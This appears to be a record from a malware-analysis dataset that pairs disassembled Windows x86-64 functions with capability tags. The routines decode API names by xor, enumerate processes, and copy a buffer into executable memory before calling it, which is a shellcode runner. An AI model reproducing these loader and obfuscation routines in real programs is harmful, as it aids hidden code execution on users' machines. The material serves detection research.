joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400018a0
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
movups xmm0, xmmword [0x14014d5f0]
movzx eax, byte [0x14014d600]
xor ecx, ecx
cmp dword [0x140150018], 2
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x40], al
jl 0x140001a3a
movdqa xmm0, xmmword [str.77777777777777779999999999999999]
lea rdx, [rbp - 0x4c]
movdqa xmm5, xmmword [0x14014d750]
mov eax, 5
movdqa xmm4, xmmword [0x14014d7f0]
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm7
movdqa xmm7, xmmword [0x14014d790]
movd xmm6, eax
mov eax, 0x1f
movaps xmmword [rsp + 0x50], xmm8
movdqa xmmword [rbp - 0x60], xmm0
mov r8d, dword [rbp - 0x60]
movd xmm8, eax
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14014d7a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14014d7a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x140001920
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x70]
cmp ecx, 0x11
jge 0x140001a7f
movsxd rax, ecx
lea r8, [rbp - 0x50]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0x11
jl 0x140001a50
cmp byte [0x14014d611], 0
movsd xmm0, qword [str.YL_VW]
movzx eax, word [0x14014d610]
movsd qword [rbp - 0x60], xmm0
mov word [rbp - 0x58], ax
je 0x140001ac8
xor byte [rbp - 0x5f], 0x38
xor byte [rbp - 0x5e], 0x39
xor byte [rbp - 0x5d], 0x3a
xor byte [rbp - 0x5c], 0x3b
xor byte [rbp - 0x5b], 0x3c
xor byte [rbp - 0x5a], 0x3d
xor byte [rbp - 0x59], 0x3e
xor byte [rbp - 0x58], 0x3f
xor byte [rbp - 0x57], 0x40
mov byte [rbp - 0x60], 0x6e
lea rdx, [rbp - 0x60]
call fcn.1400011b0
lea r8, [rbp - 0x50]
mov rdx, rax
call fcn.140001310
test rax, rax
je 0x140001aed
call rax
add rsp, 0x80
pop rbp
ret
add rsp, 0x80
pop rbp
ret
Function at 0x140001e90
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [r11 - 0x4f]
sub rsp, 0xa0
mov rax, qword [0x140150010]
xor rax, rsp
mov qword [rbp + 7], rax
cmp byte [0x14014d683], 0
mov r14d, r9d
movsd xmm0, qword [str.yLnHRHXxV__B]
mov rsi, r8
mov eax, dword [0x14014d680]
mov rdi, rdx
mov rbx, qword [rbp + 0x77]
movsd qword [rbp - 0x19], xmm0
mov dword [rbp - 0x11], eax
je 0x14000204f
xor ecx, ecx
cmp dword [0x140150018], 2
jl 0x140002009
movdqa xmm2, xmmword [0x14014d750]
mov eax, 5
movdqa xmm3, xmmword [0x14014d760]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x14014d7f0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [r11 - 0x38], xmm6
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14014d790]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [str.yLnHRHXxV__B]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14014d7a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.77777777777777779999999999999999]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x19], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movaps xmm6, xmmword [r11 - 0x38]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14014d790]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x15]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14014d7a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.77777777777777779999999999999999]
xorps xmm2, xmm0
movd dword [rbp - 0x15], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x19]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 0xc
jl 0x140002020
cmp byte [0x14014d611], 0
movsd xmm0, qword [str.YL_VW]
movzx eax, word [0x14014d610]
movsd qword [rbp - 0x29], xmm0
mov word [rbp - 0x21], ax
je 0x140002098
xor byte [rbp - 0x28], 0x38
xor byte [rbp - 0x27], 0x39
xor byte [rbp - 0x26], 0x3a
xor byte [rbp - 0x25], 0x3b
xor byte [rbp - 0x24], 0x3c
xor byte [rbp - 0x23], 0x3d
xor byte [rbp - 0x22], 0x3e
xor byte [rbp - 0x21], 0x3f
xor byte [rbp - 0x20], 0x40
mov byte [rbp - 0x29], 0x6e
lea rdx, [rbp - 0x29]
call fcn.1400011b0
lea r8, [rbp - 0x19]
mov rdx, rax
call fcn.140001310
test rax, rax
je 0x1400020f4
mov qword [rsp + 0x40], 0
lea rcx, [rbp - 9]
mov qword [rsp + 0x38], 0
xor r9d, r9d
mov dword [rsp + 0x30], r14d
xor r8d, r8d
mov qword [rsp + 0x28], rsi
xor edx, edx
mov qword [rsp + 0x20], rcx
mov rcx, rdi
call rax
test eax, eax
js 0x1400020f4
mov eax, dword [rbp - 1]
mov dword [rbx], eax
mov eax, 1
jmp 0x1400020f6
xor eax, eax
mov rcx, qword [rbp + 7]
xor rcx, rsp
call fcn.140004120
add rsp, 0xa0
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140002110
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x40
cmp byte [0x14014d61f], 0
mov rbx, rdx
mov rax, qword [str.yLzVTOX_KoUPR__]
mov qword [rbp + 0x10], rax
je 0x14000229f
xor ecx, ecx
cmp dword [0x140150018], 2
jl 0x14000225e
movdqa xmm2, xmmword [0x14014d750]
mov eax, 5
movdqa xmm3, xmmword [0x14014d760]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x14014d7f0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x30], xmm6
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14014d790]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp + 0x10]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14014d7a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.77777777777777779999999999999999]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp + 0x10], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x30]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14014d790]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp + 0x14]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14014d7a0]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.77777777777777779999999999999999]
xorps xmm2, xmm0
movd dword [rbp + 0x14], xmm2
jmp 0x14000229f
lea r8, [rbp + 0x10]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x92492493
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x38
movzx eax, cl
inc ecx
sub al, dl
add al, 0x37
xor byte [r8 - 1], al
cmp ecx, 8
jl 0x140002270
cmp byte [0x14014d611], 0
movsd xmm0, qword [str.YL_VW]
movzx eax, word [0x14014d610]
movsd qword [rbp - 0x20], xmm0
mov word [rbp - 0x18], ax
je 0x1400022e8
xor byte [rbp - 0x1f], 0x38
xor byte [rbp - 0x1e], 0x39
xor byte [rbp - 0x1d], 0x3a
xor byte [rbp - 0x1c], 0x3b
xor byte [rbp - 0x1b], 0x3c
xor byte [rbp - 0x1a], 0x3d
xor byte [rbp - 0x19], 0x3e
xor byte [rbp - 0x18], 0x3f
xor byte [rbp - 0x17], 0x40
mov byte [rbp - 0x20], 0x6e
lea rdx, [rbp - 0x20]
call fcn.1400011b0
lea r8, [rbp + 0x10]
mov rdx, rax
call fcn.140001310
test rax, rax
je 0x140002307
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rbp
ret
Function at 0x140002c90
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
push rbx
sub rsp, 0xd0
mov rax, qword [0x140150010]
xor rax, rsp
mov qword [rsp + 0x90], rax
movups xmm0, xmmword [str.wNjIXLF]
movzx eax, byte [0x14014d6b0]
xor ebx, ebx
cmp dword [0x140150018], 2
mov ecx, ebx
movups xmmword [rsp + 0x20], xmm0
mov byte [rsp + 0x38], al
movsd xmm0, qword [0x14014d6a8]
movsd qword [rsp + 0x30], xmm0
jl 0x140002e5b
movdqa xmm0, xmmword [0x14014d7c0]
lea rdx, [rsp + 0x24]
movdqa xmm5, xmmword [0x14014d750]
mov eax, 4
movdqa xmm4, xmmword [0x14014d7e0]
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x14014d770]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x40], xmm0
mov r8d, dword [rsp + 0x40]
movaps xmmword [r11 - 0x38], xmm8
movd xmm8, eax
nop word [rax + rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14014d7a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14014d7a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x140002d40
movaps xmm8, xmmword [rsp + 0xa0]
movaps xmm7, xmmword [rsp + 0xb0]
movaps xmm6, xmmword [rsp + 0xc0]
cmp ecx, 0x19
jge 0x140002e9d
movsxd rax, ecx
lea r8, [rsp + 0x20]
add r8, rax
nop word [rax + rax]
mov eax, 0x4d4873ed
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x35
movzx eax, cl
inc ecx
sub al, dl
add al, 0x39
xor byte [r8 - 1], al
cmp ecx, 0x19
jl 0x140002e70
lea rdx, [0x14014d688]
call fcn.1400011b0
lea r8, [rsp + 0x20]
mov rdx, rax
call fcn.140001310
test rax, rax
je 0x140002ede
xor r9d, r9d
lea rdx, [rsp + 0x50]
xor ecx, ecx
lea r8d, [r9 + 0x40]
call rax
test eax, eax
jne 0x140002ede
cmp byte [rsp + 0x88], 2
setle bl
mov eax, ebx
jmp 0x140002ee0
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140004120
add rsp, 0xd0
pop rbx
ret
Function at 0x1400034a0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x2c0
mov rax, qword [0x140150010]
xor rax, rsp
mov qword [rsp + 0x2b8], rax
call fcn.140003600
test al, al
je 0x1400035c4
call fcn.1400031c0
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400035c4
lea rdx, [rsp + 0x70]
mov dword [rsp + 0x70], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400035bc
xor esi, esi
call fcn.140002f00
mov ecx, dword [rsp + 0x78]
cmp ecx, eax
je 0x1400035a6
xorps xmm0, xmm0
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x20]
mov dword [rsp + 0x38], 0x30
lea r9, [rsp + 0x28]
mov qword [rsp + 0x40], rsi
lea r8, [rsp + 0x38]
mov dword [rsp + 0x50], esi
mov edx, 0x410
mov qword [rsp + 0x48], rsi
movdqu xmmword [rsp + 0x58], xmm0
mov qword [rsp + 0x30], rsi
call qword [sym.imp.ntdll.dll_NtOpenProcess]
test eax, eax
js 0x1400035a6
mov rbx, qword [rsp + 0x20]
test rbx, rbx
je 0x1400035a6
lea rdx, [rsp + 0x2b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
test eax, eax
je 0x14000359e
cmp dword [rsp + 0x2b0], 0x103
jne 0x14000359e
cmp dword [rsp + 0x90], esi
je 0x1400035eb
call fcn.140002f00
cmp dword [rsp + 0x90], eax
jne 0x1400035eb
mov rdx, rbx
call fcn.140002110
lea rdx, [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140003503
mov rdx, rdi
call fcn.140002110
xor al, al
mov rcx, qword [rsp + 0x2b8]
xor rcx, rsp
call fcn.140004120
lea r11, [rsp + 0x2c0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov rdx, rbx
call fcn.140002110
mov rdx, rdi
call fcn.140002110
mov al, 1
jmp 0x1400035c6
Function at 0x140003600
Capabilities:
Encode data using xor

Disassembly:
mov r11, rsp
sub rsp, 0xe8
mov rax, qword [0x140150010]
xor rax, rsp
mov qword [rsp + 0xa0], rax
cmp byte [0x14014d6d1], 0
movups xmm0, xmmword [str.wNjIXLF_t___6_3__e____R]
movzx eax, word [0x14014d6d0]
mov qword [r11 - 8], rbx
movups xmmword [rsp + 0x38], xmm0
mov byte [rsp + 0x30], 0
movsd xmm0, qword [0x14014d6c8]
movsd qword [rsp + 0x48], xmm0
mov word [rsp + 0x50], ax
je 0x14000381d
xor ecx, ecx
cmp dword [0x140150018], 2
jl 0x1400037db
movdqa xmm0, xmmword [0x14014d7c0]
lea rdx, [rsp + 0x3c]
movdqa xmm5, xmmword [0x14014d750]
mov eax, 4
movdqa xmm4, xmmword [0x14014d7d0]
movaps xmmword [r11 - 0x18], xmm6
movaps xmmword [r11 - 0x28], xmm7
movdqa xmm7, xmmword [0x14014d780]
movd xmm6, eax
mov eax, 0x1f
movdqa xmmword [rsp + 0x60], xmm0
mov r8d, dword [rsp + 0x60]
movaps xmmword [r11 - 0x38], xmm8
movd xmm8, eax
nop dword [rax]
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x14014d7a0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14014d7a0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x18
jl 0x1400036c0
movaps xmm8, xmmword [rsp + 0xb0]
movaps xmm7, xmmword [rsp + 0xc0]
movaps xmm6, xmmword [rsp + 0xd0]
cmp ecx, 0x1a
jge 0x14000381d
movsxd rax, ecx
lea r8, [rsp + 0x38]
add r8, rax
nop word [rax + rax]
mov eax, 0x4bda12f7
lea r8, [r8 + 1]
imul ecx
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x36
movzx eax, cl
inc ecx
sub al, dl
add al, 0x39
xor byte [r8 - 1], al
cmp ecx, 0x1a
jl 0x1400037f0
lea rdx, [0x14014d688]
call fcn.1400011b0
lea r8, [rsp + 0x38]
mov rdx, rax
call fcn.140001310
mov rbx, rax
call fcn.1400018a0
mov r9d, 0x30
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x70]
xor edx, edx
mov rcx, rax
call rbx
test rbx, rbx
mov rbx, qword [rsp + 0xe0]
je 0x14000387a
test eax, eax
jne 0x14000387a
mov rax, qword [rsp + 0x78]
cmp byte [rax + 2], 0
je 0x14000387a
mov byte [rsp + 0x30], 1
movzx eax, byte [rsp + 0x30]
mov rcx, qword [rsp + 0xa0]
xor rcx, rsp
call fcn.140004120
add rsp, 0xe8
ret
Function at 0x140004b8c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004bd6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004bd6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004bd6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004bd6
cmp dword [rcx + 0x84], 0xe
jbe 0x140004bd6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004bd8
xor al, al
add rsp, 0x28
ret

Function at 0x14000a668
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000a4d3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000a4d3
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000a4d3
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000a4d3
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000a4d3
cmp dword [rcx + 0x84], 0xe
jbe 0x14000a4d3
cmp dword [rcx + 0xf8], 0
je 0x14000a4d3
mov ecx, ebx
call fcn.14000a584
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000a360
nop
cmp dword [rbp + 0x20], 0
je 0x14000a521
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.14000a52c
int3
xor r8d, r8d
xor edx, edx
jmp 0x14000a464

Function at 0x14000d304
Capabilities:
Delete file

Disassembly:
sub rsp, 0x28
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000d324
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
call fcn.14000c4e0
or eax, 0xffffffff
jmp 0x14000d326
xor eax, eax
add rsp, 0x28
ret
Function at 0x14000eaf8
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000eb7f
mov rsi, rbx
cmp word [rax], bp
je 0x14000eb3e
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000eb28
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000eb24
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.14000c5c8
mov rdi, rax
test rax, rax
je 0x14000eb6c
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140009cf0
mov rbp, rdi
xor ecx, ecx
call fcn.14000c58c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140013350
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140013378
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140013378
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x140001480
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov rax, qword [0x14014f810]
mov dword [rax], 1
mov rax, qword [0x14014f820]
mov dword [rax], 1
mov rax, qword [0x14014f830]
mov dword [rax], 1
mov rax, qword [0x14014f800]
mov dword [rax], 1
mov rax, qword [0x14014f660]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x1400014de
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x14000150a
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
movzx eax, ax
cmp eax, 0x10b
je 0x140001530
cmp eax, 0x20b
je 0x140001557
jmp 0x140001586
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0x5c]
cmp eax, 0xe
ja 0x140001543
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov eax, dword [rax + 0xd0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov rax, qword [rbp - 0x18]
mov qword [rbp - 0x20], rax
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0x6c]
cmp eax, 0xe
ja 0x140001572
mov eax, 0
jmp 0x14000158b
mov rax, qword [rbp - 0x20]
mov eax, dword [rax + 0xe0]
test eax, eax
setne al
movzx eax, al
jmp 0x14000158b
mov eax, 0
add rsp, 0x20
pop rbp
ret

Function at 0x1400031bc
Capabilities:
Write file on windows

Disassembly:
push r12
sub rsp, 0x20
mov rax, qword [0x14017d260]
test rax, rax
je 0x1400031d0
call rax
mov ecx, 2
call qword [fcn.14001e800]
mov r8d, 0xe
mov edx, 1
lea rcx, str.out_of_memory_n
mov r12, rax
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rcx, r12
call sub.msvcrt.dll_fflush
mov ecx, 1
call sub.msvcrt.dll_exit
nop

Function at 0x140006edc
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push r12
push rdi
push rsi
sub rsp, 0x20
mov r9d, 0x40
mov r8d, 0x3000
mov r12, rdx
mov rsi, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, r12
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
call rax
xor eax, eax
add rsp, 0x20
pop rsi
pop rdi
pop r12
ret
mov rax, qword [0x14014f7e0]
movsxd rdx, dword [rax]
mov rax, qword [0x14014f7d0]
mov rcx, qword [rax]
jmp 0x140006edc
sub rsp, 0x28
call fcn.140006f26
nop
add rsp, 0x28
jmp 0x140006f3b

Function at 0x140006f3b
Capabilities:
Execute shellcode via indirect call

Disassembly:
push r12
push rdi
push rsi
sub rsp, 0x20
mov r9d, 0x40
mov r8d, 0x3000
mov r12, rdx
mov rsi, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rcx, r12
mov rdi, rax
rep movsb byte [rdi], byte [rsi]
call rax
xor eax, eax
add rsp, 0x20
pop rsi
pop rdi
pop r12
ret
mov rax, qword [0x14014f7e0]
movsxd rdx, dword [rax]
mov rax, qword [0x14014f7d0]
mov rcx, qword [rax]
jmp 0x140006edc
sub rsp, 0x28
call fcn.140006f26
nop
add rsp, 0x28
